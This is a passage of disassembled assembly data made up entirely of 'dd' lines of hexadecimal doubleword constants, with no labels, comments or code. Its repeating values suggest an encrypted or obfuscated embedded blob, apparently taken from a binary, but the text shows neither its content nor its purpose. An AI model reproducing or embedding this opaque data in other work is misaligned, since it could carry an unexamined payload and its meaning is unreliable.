		dd 9BB38832h, 310073Ch,	14DF73BAh, 14661132h, 0EA9AD1FCh
		dd 39E7C306h, 0E919C516h, 31629A0Ch, 10624CB1h,	2B9A3BD5h
		dd 0DCA7A252h, 2E91E53h, 0FC668832h, 15664420h,	4335AE63h
		dd 6F101E58h, 8070859Bh, 46505A73h, 0FCA7A912h,	108F713Ah
		dd 0D2668832h, 96D89615h, 156CCB62h, 20FD1132h,	0E64B3EDh
		dd 5D7F7338h, 249F436Bh, 1A2CEDF3h, 0EA99E8B7h,	156DADCDh
		dd 0DB762232h, 4664D209h, 14781A7Eh, 11E7151Ah,	323AD416h
		dd 0AF344964h, 7D5C91BAh, 0F7E70670h, 688E6409h, 0B672FBB3h
		dd 0C54F9A32h, 1574AD68h, 0AF6E2232h, 2BA5C610h, 3F6E8581h
		dd 0F3B87ED8h, 942D2845h, 317A9662h, 9E15BC5h, 9B691C16h
		dd 15662227h, 15699C3Dh, 1F8F8832h, 0A0664432h,	0E59FB459h
		dd 104CF4B2h, 315277D4h, 11A2C768h, 17E62D52h, 75661132h
		dd 13E48753h, 1A664432h, 156622B9h, 0AE357032h,	15668832h
		dd 7FEA87B3h, 0C6673225h, 7FEAFAB3h, 16EF9825h,	4531B869h
		dd 0B91F758Ah, 0C591592Fh, 386260F3h, 1B437C54h, 143EE5BBh
		dd 9E064EC8h, 0DFD987C8h, 0F7EF1653h, 1562E0B3h, 0FFE71132h
		dd 15668836h, 494250B5h, 0FC4236BBh, 15661139h,	878E6770h
		dd 0CD145EB0h, 0EA28434Bh, 0BD686CB7h, 80ED7134h, 13CE4A4Fh
		dd 156BCBC7h, 0ED991132h, 7998E4F9h, 0F74539F1h, 2C6F2B6Eh
		dd 0BD6D50A7h, 8DE28734h, 0E0664432h, 464236B9h, 0D6E7F2BBh
		dd 15668836h, 156287B3h, 9E12232h, 9E9A4D16h, 9C36AC06h
		dd 156241D2h, 0D5E52232h, 31629636h, 0AF00E86Eh, 9400364Ah
		dd 74D50DEAh, 156618DBh, 0ED1C6732h, 5FDDE8Eh, 0AC370FDFh
		dd 78A70406h, 99A70973h, 94571F20h, 0F6BE61F3h,	4CA81052h
		dd 14E88752h, 0ED664432h, 156627DAh, 1F5C6F32h,	1C8FB602h
		dd 57664432h, 0B98AC37h, 0B9750067h, 878FE96Ah,	1A99BBCEh
		dd 156630BFh, 156BF832h, 21B88832h, 0FC9A6056h,	0D3F4C6B2h
		dd 0EA368792h, 943CAC06h, 156640F6h, 9E374232h,	749E49C9h
		dd 4B42BCCDh, 756280B1h, 156628DAh, 0D227AD32h,	1581E70Ch
		dd 0A6DE7311h, 68F7819h, 0A9661132h, 9BAACD52h,	7B2ED495h
		dd 28F0A50Ah, 0E8ADB6CDh, 7407AA3Fh, 1567C03Dh,	0EA9F2232h
		dd 963F3506h, 1A9F8CF6h, 15664CB5h, 17EE2D32h, 75661132h
		dd 31620353h, 9480CD64h, 156626F4h, 11A09232h, 4942BCB5h
		dd 84E383CAh, 15608A1Ah, 0FC661132h, 15668839h,	0C5F831FBh
		dd 7BC64C12h, 0FC214D12h, 15668838h, 0DAB9538h,	7EB1B8E2h
		dd 90A1AFDAh, 13CEAFABh, 15664432h, 1567A23Dh, 96931132h
		dd 0BAE6408Fh, 91694434h, 15662214h, 0B9FB9CCEh, 756026ABh
		dd 76909889h, 11AAA261h, 94007153h, 74708BE9h, 9E0697CDh
		dd 976942F9h, 15661132h, 9099E953h, 13CE48F3h, 156DA53Dh
		dd 138F1132h, 94668832h, 12A6B5A9h, 0D4DBA1D2h,	7160B93Eh
		dd 179B0A3Dh, 0D29A4432h, 0BD6AE3B7h, 15661034h, 15746132h
		dd 69BA4432h, 96251304h, 66B0AC5Fh, 4AC5BA7Eh, 57EEA8B9h
		dd 0E62D52h, 0FC661132h, 15668822h, 86D25E46h, 6C0A7E65h
		dd 6151EE7Fh, 0E79892B4h, 45C2C1BFh, 1A06249Dh,	156614BDh
		dd 9D053032h, 9E000261h, 0C59943CBh, 156E963Dh,	75068832h
		dd 17D82253h, 1E8F43ADh, 6A661132h, 54855D0Bh, 4212D26Eh
		dd 0A0EBBDB5h, 13C990AAh, 156698DBh, 53890432h,	0B5C22546h
		dd 5ED37436h, 0FE9D78A8h, 19DBC940h, 0FC60923Eh, 15661123h
		dd 51E404D8h, 0CA992164h, 0C38F68B7h, 4FA73735h, 0D8DBDDA4h
		dd 14640F38h, 0E24F7FDDh, 1FABFEB3h, 78F8A79h, 90664432h
		dd 0D2349EC2h, 0EC71EF8Bh, 0AD257075h, 13FE8546h, 0AB307502h
		dd 5296813h, 1142FC03h,	0E7E71E6Ch, 5295B13h, 0A8EDE9CAh
		dd 13CE8507h, 95691252h, 15662232h, 6331A868h, 7507A007h
		dd 15E44B61h, 4D662232h, 7495D3B2h, 0EA99778Bh,	1574ADCDh
		dd 0D7972232h, 0BC62FECh, 0C57B7DF5h, 0FCBE065Bh, 0CB347F66h
		dd 9669D103h, 15668821h, 156BCD3Dh, 1D8F2232h, 0AA661132h
		dd 0FD595657h, 1AE07E30h, 15662EBEh, 13E51E32h,	1A668832h
		dd 156644B0h, 15DF7332h, 94661132h, 5A6AFDF3h, 94974501h
		dd 5A6A57DBh, 4C679B01h, 0F1A20852h, 915D9DB3h,	25071CDCh
		dd 156DF8FAh, 7DDA8832h, 0A57DC434h, 6E73A159h,	6DD429Ah
		dd 56621660h, 4773AFB3h, 0CB4F26ACh, 1E8F7169h,	0E6668832h
		dd 0B4A5B400h, 1D9477EBh, 0AA6966FBh, 2199E9F3h, 3162CFB5h
		dd 1562E6B3h, 73061132h, 0FCC13A8Ch, 1566443Eh,	8B38E260h
		dd 0DC168BF9h, 0C28184BDh, 1D8F8553h, 1561AE3Dh, 93691132h
		dd 15668833h, 1561ADC7h, 53E72232h, 70B70314h, 0E0A7B9C2h
		dd 24E34B78h, 7599DDCDh, 1563973Dh, 0EDD98832h,	0EC1EF458h
		dd 9C367553h, 4DA198FAh, 0EC3970BBh, 1572C93Dh,	1A8F2232h
		dd 88661132h, 34667D12h, 0C710D35Ch, 18B7E8A5h,	9236DFFCh
		dd 0C791AC26h, 4D4250B5h, 13E42D52h, 1A661132h,	156688BAh
		dd 0EBD94B32h, 905FD753h, 13CE3DCFh, 15F60C3Dh,	188F4432h
		dd 5C662232h, 20CEC164h, 0A757DF7Ch, 0A3CF4F6h,	8CDE7264h
		dd 9C18F464h, 8CDED0F4h, 2418A164h, 74067CC2h, 9069D139h
		dd 1566881Dh, 156CCC3Dh, 94062232h, 75347DC5h, 74A70370h
		dd 367C1F5h, 1567249Ah,	73061132h, 650D6AB3h, 15664DDBh
		dd 0BE697732h, 4288321Bh, 94074E63h, 156640DEh,	315AAB32h
		dd 810B08Dh, 0E389096Dh, 0D453DD7Dh, 0FAA721D5h, 0C4899030h
		dd 0D44C1212h, 0E2E74CDDh, 15BF15A4h, 7539E833h, 366F848Ch
		dd 75072548h, 1566A33Dh, 0FC361132h, 1566883Eh,	0F1267E5Eh
		dd 0F5F35D60h, 8B9E2D85h
		dd 469FE96Ch, 2D3DDE89h, 0C8EF771Eh, 4E3BF8BBh,	156682DBh
		dd 13E67F32h, 787E825Ah, 44C48D86h, 990B248Bh, 73AFC57Fh
		dd 9674D41Fh, 942710DBh, 388317DBh, 4CACCD15h, 1D8FD752h
		dd 3C661132h, 4DA94EB9h, 74F208CFh, 9269429Fh, 15661130h
		dd 0FC07D264h, 15664423h, 91EA3699h, 955D04F1h,	0DC6E034h
		dd 0B7FAF05Fh, 0A4D3AB1Ah, 0ED60B928h, 7506E067h, 0D43B707Dh
		dd 0D0E720D7h, 50F6E01Ch, 489AE6BBh, 0A9A22B3h,	945E8D35h
		dd 51BFED74h, 73E7A788h, 3E7A44CEh, 0E900E31Bh,	0E910903Ah
		dd 1D628832h, 0FB8879CBh, 9069CCDCh, 156611BCh,	0CE443652h
		dd 92690A7Fh, 15662230h, 9407EFB9h, 0C8BB550Ch,	66E34BEFh
		dd 75662232h, 156600DBh, 31841332h, 77666490h, 0F8A57E4Eh
		dd 97E5339Ch, 65D34953h, 750E1653h, 9E2F4837h, 0D1E53526h
		dd 0EEA40936h, 0D42A1037h, 0FFE724D8h, 1730E91Fh, 0E93C9EBBh
		dd 1562FF61h, 0FBE72232h, 15CE2157h, 0D3E75633h, 15CE7457h
		dd 0A0EFD769h, 13CE0B83h, 17E18752h, 75664432h,	74BFA953h
		dd 154A11DBh, 14E58732h, 0E0664432h, 0EA98E4DBh, 0F9E5EDCDh
		dd 31620136h, 0CD4240B3h, 4E7F5A02h, 25BEFAB3h,	1B8F914Ah
		dd 6D664432h, 44BB4061h, 7F3042BEh, 0BC1CFE3Dh,	14E3773Fh
		dd 0FC608A24h, 15661120h, 0C477CBEDh, 451E6458h, 654026F9h
		dd 7C07CBD7h, 0DDA7D653h, 0DC63B831h, 3C78A875h, 0DCDD42E2h
		dd 3C780275h, 1A061FEAh, 0F0ECDA85h, 5A6D053h, 75AEB9CEh
		dd 0AB9ECF54h, 70134B04h, 1577F853h, 76F98832h,	0E762936Fh
		dd 215B7F73h, 5826882Fh, 9C696452h, 0BD7045AFh,	9B69DE34h
		dd 15661127h, 156698DBh, 535E232h, 62FC52C7h, 9A6B89BCh
		dd 7F0882B2h, 15667905h, 96692233h, 15661302h, 2BE771CBh
		dd 0AEDDFF89h, 1744A73Dh, 91691132h, 15668833h,	0AAD913CAh
		dd 0D407A178h, 0AC3716DDh, 2492A517h, 5D8585B3h, 0F4E75DF1h
		dd 6E8C49BDh, 946E61F3h, 2F5F59C3h, 0CD97A31Ch,	2448D9AFh
		dd 2BEFD1FDh, 19EE4B6Dh, 75662232h, 622AAF54h, 0F7F878B3h
		dd 46072555h, 1566265Ah, 0CB674A32h, 0E09AE869h, 0A4D3CD53h
		dd 1A608A28h, 156631B7h, 58DCE832h, 0FD67627Fh,	15662221h
		dd 0CD43540h, 272BA28Fh, 4FF35D68h, 21B06630h, 4B0A3F4Eh
		dd 50FB0353h, 7560EC2Dh, 0FCBFF8B2h, 15661123h,	0E32A5F67h
		dd 544E8A8Dh, 0B1DF6F89h, 546A8010h, 2699E905h,	2C4FF967h
		dd 796754A0h, 4C3B1516h, 2C4F61B3h, 926932A0h, 1566223Ah
		dd 0E3E77752h, 749AD319h, 74062452h, 156625DBh,	0A1710232h
		dd 0CB88F0ECh, 16E64B53h, 73662232h, 4507C9B9h,	0D542A4B3h
		dd 9E6CED36h, 0D1E50626h, 0D5A49036h, 756C2136h, 1560C23Dh
		dd 93692232h, 15661132h, 4EB60363h, 75062453h, 0CFED43CBh
		dd 39E74353h, 3333F816h, 3162CF72h, 1062E6B1h, 55404442h
		dd 0ECE3A3CAh, 1A60EC13h, 156623B8h, 0F5A7E832h, 9D69E830h
		dd 15664430h, 15DF7962h, 74041BD9h, 156682DBh, 0EB188832h
		dd 0C5D883BCh, 16D394B2h, 0BD6FB1B7h, 156AAD34h, 0CD272232h
		dd 0D72D0CACh, 1F399472h, 4336B391h, 964226B9h,	1A3815F6h
		dd 156683B2h, 1560AD32h, 53E22232h, 0E52657B1h,	15636052h
		dd 0CF4D4432h, 94676C45h, 51724FEDh, 0FC34D315h, 15664437h
		dd 7BC64C12h, 0B8074F12h, 1567023Dh, 38934432h,	24AF7963h
		dd 9B3F231Fh, 10AE8945h, 62E81D00h, 0DC3D7337h,	0AA697103h
		dd 156C61E1h, 74D74432h, 1E2645A4h, 0F794666Ch,	51EF7053h
		dd 94695816h, 15662233h, 996970CAh, 15668833h, 1647ADCAh
		dd 0FD062232h, 15661123h, 0C9842BF5h, 3663AD09h, 937ADBD8h
		dd 0F5454AC0h, 4C07E807h, 18F2453h, 5E662232h, 6740B736h
		dd 9D5F903Eh, 9966EE5Bh, 5F91BD62h, 742ADDD1h, 94870163h
		dd 156640F3h, 118FA132h, 49421DB5h, 1A4284BBh, 156645B8h
		dd 9C30DA32h, 11A090D4h, 94668832h, 156640DCh, 3152A532h
		dd 3172986Eh, 1563073Dh, 47064432h, 2407DB6Dh, 4F3571FBh
		dd 4CB20264h, 88F3CF53h, 1A608A2Ch, 156617B2h, 0EBEDE832h
		dd 2E0782B9h, 0DBE22D30h, 0FC661132h, 15668820h, 2738480Ah
		dd 0C819E87Fh, 50CED11Eh, 0AB33B5F6h, 188FF50Eh, 9D662232h
		dd 0D57741CCh, 923203D5h, 3F088E80h, 15629D65h,	0EF671132h
		dd 9642B4B9h, 1F8F40F6h, 4B662232h, 520D75EBh, 32D69F8h
		dd 14D91379h, 14662232h, 2E9E4ECBh, 0BD6DC9BFh,	89E34B34h
		dd 0FC99DDCDh, 15661139h, 850F96D8h, 0B6C34748h, 424ADF4Ah
		dd 1566118Dh, 9E9E0132h, 0D1E7600Eh, 15662236h,	0CEE77152h
		dd 24C2DB33h, 74A6F33Dh, 156631DBh, 45B53632h, 0CC1889EEh
		dd 994195F6h, 0B478107Bh, 735AD4DCh, 0BAEB0553h, 1A60EC7Dh
		dd 15662CB8h, 156FF832h, 7FA38832h, 0B4F7356Eh,	0EA931B6Dh
		dd 1FE21ED3h, 75668832h, 0DBE78AB9h, 281F7D8Eh,	68EB9853h
		dd 7560203Ch, 6BC6FE54h, 156625DAh, 4702AB32h, 7E1F2ACDh
		dd 15664EDAh, 7E286332h, 0BF878AA3h, 4C27D3FAh,	1ED256Ch
		dd 0F2EF7516h, 1562D6B3h, 0D2E78832h, 15664436h, 49421EB5h
		dd 316A9ACEh, 94830167h, 156640F7h, 11A3A332h, 92661132h
		dd 0FC3AAC1Eh, 15664420h, 7C9C8340h, 200C25A6h,	0CF163DBAh
		dd 0C92441BCh, 9C3360A9h, 11A390D7h, 94668832h,	156640DFh
		dd 314AA532h, 3152986Eh, 1568053Dh, 0EC064432h,	156627DAh
		dd 79917032h, 743C69B8h, 0A23D9B9h, 1F8F249Ah, 0CD661132h
		dd 2900EB20h, 327745ABh, 9455DD7Eh, 754351Eh, 423FC985h
		dd 0A274768Dh, 4A9F2373h, 15619B3Dh, 93698832h,	15664433h
		dd 68E3A9C7h, 0ED60B93Ch, 946968E3h, 1566443Ah,	1564A23Dh
		dd 74061132h, 0A9B0D31h, 128F429Ah, 0ED662232h,	0E140C1C6h
		dd 0E3574944h, 1DED4BCBh, 75662232h, 1566933Dh,	45078832h
		dd 21ED1C64h, 11A2A116h, 15679B3Dh, 739E8832h, 1576AD9Fh
		dd 9A852232h, 0A3DB1C34h, 4DA82775h, 0CD03300h,	0F5A703CBh
		dd 14EA1E30h, 0E0668832h, 1C5FC131h, 18F249Ah, 1661132h
		dd 4C74B672h, 0ADD53F84h, 24C224F6h, 36557373h,	457CF54Ah
		dd 3162CF64h, 4B62E6B1h, 0FCA49A52h, 1566883Fh,	0FB6F3F26h
		dd 0D55CCEAFh, 0CC5D7D84h, 0FCCBE92Dh, 15664420h, 467E7473h
		dd 0E94400B0h, 55C1B6FDh, 0A1BE8379h, 4D4B126Bh, 147E0A6Ch
		dd 4DDFD9FAh, 147E5F6Ch, 198F7BFAh, 71661132h, 61FB4ECBh
		dd 615CCCE6h, 0EAB97F69h, 94383506h, 15668CF6h,	0FCD12432h
		dd 9607C387h, 0BD6CA08Fh, 91698934h, 156644FCh,	743F7552h
		dd 249F9C09h, 91698E9Ah, 1566448Ch, 38EB19C7h, 1A60B93Fh
		dd 156639B6h, 14E34B32h, 0EC662232h, 15661ADBh,	5502A832h
		dd 1195C45Ch, 3D9DADBCh, 13FB9C09h, 91698E9Ah, 156644BCh
		dd 11FBAFCBh, 7560BEEDh, 156680DBh, 0B86AF932h,	8860BD6Bh
		dd 0C6997006h, 0DEA87CEh, 1A664432h, 156630BFh,	156BF832h
		dd 2CA58832h, 11886E3h,	8C47C763h, 45AC4C4Eh, 4D313567h
		dd 794F7C02h, 4A3B2616h, 4D31D6B3h, 9506B002h, 730693D4h
		dd 8D40C3B3h, 9640E48Ah, 9C07E922h, 0BD6489B7h,	1577CB34h
		dd 131A1132h, 94118B1Eh, 0D7DE15A3h, 471C2BADh,	0FCA33B17h
		dd 156696C6h, 156AC43Dh, 98692232h, 15661134h, 15660F3Dh
		dd 88EB4432h, 13C9FD36h, 156E903Dh, 1A068832h, 156644B7h
		dd 0C6994332h, 1577F952h
		dd 61928832h, 9D96359Fh, 0BD7AB954h, 5D7A2A73h,	1A43F2C8h
		dd 156644B5h, 0AA007D32h, 1A0714DDh, 156689B1h,	0A8E5B132h
		dd 13CE2883h, 47E21E32h, 0E0668832h, 44E37FCAh,	1A608A3Eh
		dd 15660DB6h, 905D7132h, 13CE4967h, 1551A73Dh, 1A061132h
		dd 156688B8h, 94001432h, 4CD37EE3h, 0EB91F853h,	1D8F77CDh
		dd 2C664432h, 16B9AF83h, 0FC79D30Ah, 15668823h,	91EC6536h
		dd 0D9643083h, 93E5174Fh, 155CA4DDh, 4E37FCEh, 1A608A32h
		dd 156699B7h, 12E38732h, 75664432h, 4204D2B2h, 0A8E5706Ah
		dd 13CEBBAFh, 21E24B32h, 75662232h, 15661ADBh, 0B14E3332h
		dd 0B5C83F11h, 6D909D9Ch, 749FA63Dh, 23735B1h, 1A66429Ah
		dd 15666EB6h, 19E01E32h, 0FC668832h, 15664435h,	0D0DA9B47h
		dd 98E52CA0h, 0BA3123B7h, 1577AD34h, 0FF3B2232h, 0E40E1CA1h
		dd 4A685A25h, 5A2ABA7Eh, 0FC49BA62h, 0EA99EF6Bh, 15686152h
		dd 484D4432h, 0CF781FDDh, 0B719B8DEh, 2D042CCBh, 0DF1BFD54h
		dd 4E31953h, 1A60B932h,	0EA98BCB6h, 68F24CDh, 25662232h
		dd 4702ABA0h, 7E1F2ACDh, 0AEED0848h, 0A70C592Dh, 749E831Dh
		dd 95CA35B1h, 1A67429Dh, 156660B7h, 0A206E832h,	905DE954h
		dd 13C9C4D2h, 1557A73Dh, 48F1132h, 29668832h, 9DBCB62Dh
		dd 0E4991542h, 15644Eh,	9740BE59h, 1E82C1BFh, 0FC9F226Bh
		dd 0EA99EF3Dh, 1DE087CEh, 1A664432h, 156620B9h,	24077132h
		dd 156961CDh, 0C10E4432h, 8BE8C7EEh, 63A158C9h,	0BC5A9EB0h
		dd 0E8DBC71Dh, 15608A29h, 57F953Dh, 1C8F8832h, 1E664432h
		dd 6B654750h, 0B0013059h, 95AA0D09h, 9069429Dh,	15662273h
		dd 1572933Dh, 0A4068832h, 156DADB6h, 0EC362232h, 0A1898F68h
		dd 0B4FB4A4h, 90ED25DCh, 13CE16F3h, 0A269ED52h,	429FE9C8h
		dd 0EA4268B3h, 4A99DDCDh, 1FE11ECEh, 75668832h,	97691F61h
		dd 15662232h, 0C1E32A53h, 1A6027B2h, 156601B7h,	90EDDE32h
		dd 13CE1DFFh, 15686052h, 0F6C64432h, 0CB1C6F50h, 57267994h
		dd 7FEC6F3Bh, 753E2552h, 749EA954h, 0EADB4453h,	3C9977CDh
		dd 9B6919DDh, 15662220h, 15661CDBh, 0FE9C3332h,	0A56910E1h
		dd 56B4A80Dh, 905DA9A8h, 13C908E2h, 1529C13Dh, 68F2232h
		dd 74661132h, 77DEF9D7h, 0AA5EF276h, 0C4C2322h,	959BD5B7h
		dd 90ED8D9Ah, 13CE50FFh, 119975CBh, 315A9A16h, 1A624CB1h
		dd 156645B6h, 9C69DA32h, 1566112Bh, 15669CDBh, 198FE432h
		dd 9EE2B60Bh, 0A21CCDA1h, 43B08E64h, 0B7E8A525h, 0CDE31940h
		dd 1A60BEB2h, 1566ABB7h, 90EDBC32h, 13CE3423h, 156A913Dh
		dd 9E698832h, 15664434h, 1566A33Dh, 0DAE11132h,	24A9B973h
		dd 0EDA975CBh, 95BAA709h, 9069179Dh, 1566880Ah,	1567C63Dh
		dd 759F2232h, 18B69054h, 9E07719Ah, 0BD4FC5B7h,	6E32D34h
		dd 75661132h, 156683DAh, 0EF282A32h, 0EEA49E32h, 0F8B986AFh
		dd 0AD36E96Ch, 0EA99BBCDh, 0E03EE51Bh, 95869409h, 90698E9Dh
		dd 15664408h, 0A4E3A9CBh, 0FC60B92Bh, 15668826h, 0F0E95C60h
		dd 0D39D7F6Dh, 6315510Dh, 0E22744F4h, 7B02D27Eh, 228B9961h
		dd 0E6E75857h, 0A3FC4020h, 753D9B1Bh, 6C91A354h, 8DD97763h
		dd 905DE9BAh, 13C9C4D6h, 155CA73Dh, 1C8F1132h, 7D668832h
		dd 4C06441Ch, 0E7D47DE6h, 305794B9h, 9E698E9Ah,	15664434h
		dd 75ACA952h, 0AC377053h, 0EA9977CDh, 1A3F8B1Bh, 156629B9h
		dd 14D87132h, 7358EC3Eh, 74E40489h, 958EA709h, 9069179Dh
		dd 1566887Bh, 156642DBh, 5B523A32h, 9E2AA7D2h, 0BD61E9B7h
		dd 11E34B34h, 75662232h, 1A077052h, 156689BCh, 0AF34B132h
		dd 15662233h, 1A3CC633h, 156690BFh, 7E14B32h, 0FC662232h
		dd 1566113Fh, 3930B5C5h, 89706641h, 902871B6h, 0F9E32A41h
		dd 1A6027B2h, 156614B7h, 1DEA2D32h, 1A661132h, 15668ABAh
		dd 9E072432h, 0BD649FB7h, 739F7134h, 470758B9h,	15664588h
		dd 4FB12332h, 0D7ED4652h, 0E4EDD968h, 9669256Ah, 1566222Fh
		dd 1575F852h, 0AB48832h, 6C3372FAh, 382F53F6h, 0B86553F0h
		dd 0C2B3FD24h, 0C5A0C4FEh, 0E5E31953h, 1A60BEB2h, 156690B7h
		dd 90EDBC32h, 13CE3227h, 0AADB44C7h, 947F3C1Eh,	0A14AFADFh
		dd 4889232Bh, 0EDE32ACBh, 1A6027B2h, 156600B7h,	90EDDB32h
		dd 13CE16DBh, 156680DBh, 2ED90D32h, 84013F90h, 14D8476Dh
		dd 14668832h, 48F1AC5h,	13662232h, 0DF097A5Eh, 0A11F6D2Bh
		dd 97865EBAh, 0B0D6D762h, 15661DDBh, 5595F432h,	7BF3F115h
		dd 0C691CCB1h, 0E1E32A12h, 1A6027B2h, 156600B7h, 969FDE32h
		dd 0BD66488Fh, 90698834h, 15664407h, 156EAD3Dh,	9D691132h
		dd 15668830h, 90ED2552h, 13CE2CBBh, 0E3E67152h,	744E3AFDh
		dd 7491FB3Dh, 15679860h, 0C2671132h, 13E38768h,	75664432h
		dd 0C08D9854h, 44DB9253h, 15602039h, 1531C03Dh,	1B8F2232h
		dd 0CE661132h, 20B63123h, 1F124F34h, 0DB70F618h, 95E32A53h
		dd 1A6027B3h, 15667CB7h, 0CCD74232h, 15661DDAh,	2C7AD232h
		dd 3377DAB6h, 5B88CA89h, 4B077148h, 0F4E30353h,	0FC60EC33h
		dd 15662239h, 2AD2571Dh, 0DA048D5Ch, 247A0976h,	249F13FDh
		dd 0DAE150FDh, 1CDB0BCBh, 1560EC35h, 175CA63Dh,	969E1132h
		dd 0BD7CCD8Fh, 91694434h, 1566201Eh, 15661BDBh,	6A8A7832h
		dd 382726BDh, 2EF0CB38h, 0BAE775B7h, 3BE38734h,	0E9664432h
		dd 8E7A7B9h, 9669179Ah,	15668833h, 0EADF15C7h, 3C99DDCDh
		dd 0FC0648FDh, 1566883Fh, 4F4C5C35h, 4BFB2213h,	6E76A8E3h
		dd 74BE0337h, 61E37FCAh, 1A608DB3h, 15664BB7h, 9369E832h
		dd 15664430h, 0A4064352h, 51D2AE81h, 7407BEBCh,	1561C53Dh
		dd 0A6062232h, 0D6ED77B4h, 0E30353h, 1A60EC2Dh,	15662ABDh
		dd 17EF1E32h, 75668832h, 0EAD81253h, 3C99DDCDh,	48F4FC5h
		dd 0E9668832h, 26ACED03h, 0A63652B9h, 53840CCDh, 95BCF2F3h
		dd 1567C23Dh, 2E9E2232h, 0BAE779B7h, 56E38734h,	0FC664432h
		dd 15662226h, 7C3F3E2Dh, 5C53BD7Bh, 0DD8562FBh,	0D2FC8228h
		dd 990F1303h, 0A330DB9h, 9269429Ah, 15662237h, 8BB9152h
		dd 0EADCDA53h, 3C99BBCDh, 1E8F78E5h, 0A6661132h, 0FDC85B97h
		dd 489B5F59h, 905DB473h, 13C9904Ah, 153B0D3Dh, 48F4432h
		dd 53662232h, 816ADF29h, 7FDF13FBh, 594445EAh, 3E53461h
		dd 156617DBh, 806A0D32h, 9EFBBA4Dh, 0BD56F3B7h,	1DEB1E34h
		dd 75668832h, 3AC4918Ah, 4307DB12h, 904E198Ch, 0DE880937h
		dd 9473A312h, 0EB6464DCh, 0E4889044h, 940D133Ch, 119043C4h
		dd 4B91233Fh, 15679E3Dh, 2E9A8832h, 0BAE738B7h,	3EE32D34h
		dd 0FC661132h, 1566883Bh, 0EED1E5h, 3E09D000h, 0D0E39A89h
		dd 75602001h, 0ECB69EB3h, 80DE7474h, 74510638h,	0EA993567h
		dd 0FA4FBBCDh, 905DDE6Fh, 13C9905Eh, 155D0D3Dh,	75064432h
		dd 156629DBh, 95778132h, 0A831F24Eh, 0DB5CBE3Ah, 1A077D62h
		dd 156611B3h, 90EDE932h, 13CE4407h, 156628DBh, 64CE3D32h
		dd 0A9B8D857h, 408375B2h, 1566238Fh, 48891032h,	65E3B3CAh
		dd 1A60EBB3h, 156619B7h, 156CF832h, 0B6778832h,	0A8C19576h
		dd 2CFC08EAh, 3BB394B9h, 48F8E9Ah, 53664432h, 0D01B27B9h
		dd 74C9D13Bh, 919C8296h, 4C419093h, 0EA999A62h,	0D24FEECDh
		dd 14ED876Ah, 0E0664432h, 0F239FB1h, 1A66179Ah,	156F6EB6h
		dd 905DB132h, 13C9A2CEh, 1558943Dh, 9A698832h, 15664439h
		dd 156624DBh, 82FAE632h
		dd 9EADC3D6h, 0BD72C1B7h, 2E42D34h, 0FC661132h,	15668820h
		dd 43FAEC03h, 0A93B847Fh, 79D4B83Bh, 0F52B4845h, 0AF344C8Dh
		dd 0EA99DDCDh, 0E93CC61Bh, 94F60D09h, 9069429Dh, 15662257h
		dd 1572F852h, 0CA188832h, 0B8A76738h, 0B13EE2CEh, 29E1FF61h
		dd 43DF271Ah, 9E078FB2h, 0BD55FBB7h, 98697134h,	15668831h
		dd 1A9CCF54h, 156634BCh, 1577F832h, 0D7FD8832h,	52B2C542h
		dd 53E7509Fh, 70B70314h, 74C754C2h, 50F0FD63h, 0D42F0678h
		dd 0E4E712DBh, 0EE103F7Fh, 753F8B1Bh, 1810F9B3h, 0E7ED02FEh
		dd 15E3B353h, 1A60EBB3h, 156606B7h, 1568F832h, 83FC8832h
		dd 1AB71878h, 0F7F198C5h, 0B8C692FAh, 176B0DB9h, 469A429Ah
		dd 15662389h, 4EB91032h, 11E3B3CBh, 1A60EBB3h, 15666EB7h
		dd 14E61E32h, 0EC668832h, 23FC1B9h, 9C69249Ah, 15661133h
		dd 8D8DECEh, 53434B29h,	9465C4F3h, 6D4CF3D4h, 0C880967h
		dd 9467C633h, 0E361E4DCh, 4B9110CCh, 15669CDBh,	5825FF32h
		dd 1BFE5B83h, 4C96B9D7h, 1293D9F6h, 0F330932Dh,	1DE3194Dh
		dd 1A60BEB3h, 1566B9B7h, 90EDB832h, 13CE0407h, 10E61E52h
		dd 73668832h, 0F4478DB3h, 0AD3643CEh, 15661133h, 0FC3E4F33h
		dd 1566443Fh, 0A9C1B832h, 13C81809h, 0DC33CECCh, 905DBC48h
		dd 13C9A33Eh, 1517943Dh, 47068832h, 0FBFAFE54h,	13EB2D6Ch
		dd 1A661132h, 156688B1h, 0A8E52532h, 13CE226Bh,	45E31E32h
		dd 75668832h, 1565C13Dh, 9E002232h, 1577F8C8h, 955C8832h
		dd 2A1D36FDh, 0C054149Dh, 0E6BACB9Ch, 7475E312h, 0E27C1B9h
		dd 0FC06249Ah, 15661123h, 53E9ABEAh, 5A0E8FA6h,	0ACC66DAEh
		dd 39CD3543h, 44077444h, 0B722398Bh, 9797A337h,	3C9C4C89h
		dd 2E93D1FDh, 0BAE754B7h, 33E32D34h, 75661132h,	860978B3h
		dd 749E5321h, 1E6FA7B9h, 439A179Ah, 0EA99778Ch,	4B916DCDh
		dd 15662ADBh, 2CA5032h,	7A6E30D5h, 1E37F33h, 1A608DB3h
		dd 15666EB7h, 1FE28732h, 75664432h, 0AEB5953Dh,	5B5DE875h
		dd 4CDB0B53h, 1560EC32h, 1504A73Dh, 9E931132h, 0BD4CD5B7h
		dd 1AEE4B34h, 0FC662232h, 15661138h, 0C548309Fh, 607446E2h
		dd 1A06749Bh, 156612BDh, 0C4D98732h, 294596B3h,	46075425h
		dd 15661089h, 4EB98932h, 16E74B52h, 1A662232h, 0AF00DE8Dh
		dd 1A075258h, 156653BEh, 4EE2D32h, 0FC661132h, 1566883Eh
		dd 7C7F0258h, 0C7EEFE3Bh, 0C3FC08FBh, 947E0D09h, 9069429Dh
		dd 15662203h, 0C4E39ACAh, 75602006h, 4BA7CF65h,	74A69D3Dh
		dd 1A01A863h, 0FCE78A37h, 17634B54h, 1A3FED33h,	15661DB8h
		dd 13E88732h, 1A664432h, 156622B9h, 9E32A32h, 1A6027B3h
		dd 156620B7h, 0EE62D32h, 75661132h, 15669CDBh, 5304F632h
		dd 8E5C8B73h, 50F3E3C2h, 21AB3DDDh, 5FDE4DDFh, 90ED439Ch
		dd 13CE3B93h, 156680DBh, 92FF5E32h, 0CEC30913h,	14DF400Fh
		dd 14668832h, 0AC061DFDh, 5EFF8C5Bh, 7495AE3Dh,	15EB8752h
		dd 0FD664432h, 15662239h, 449E34AAh, 622C5BF3h,	73F02A8Ch
		dd 4E202889h, 31E32A53h, 1A6027B3h, 15661EB7h, 0CEC2D32h
		dd 1A661132h, 15669BB1h, 1568AD32h, 0EE862232h,	0C8071749h
		dd 71CEA1DCh, 0E5E1767Ah, 153F9FB1h, 1A66179Ah,	1566A6B7h
		dd 4E74B32h, 0FC662232h, 1566113Eh, 5B62BB6Fh, 39E4A082h
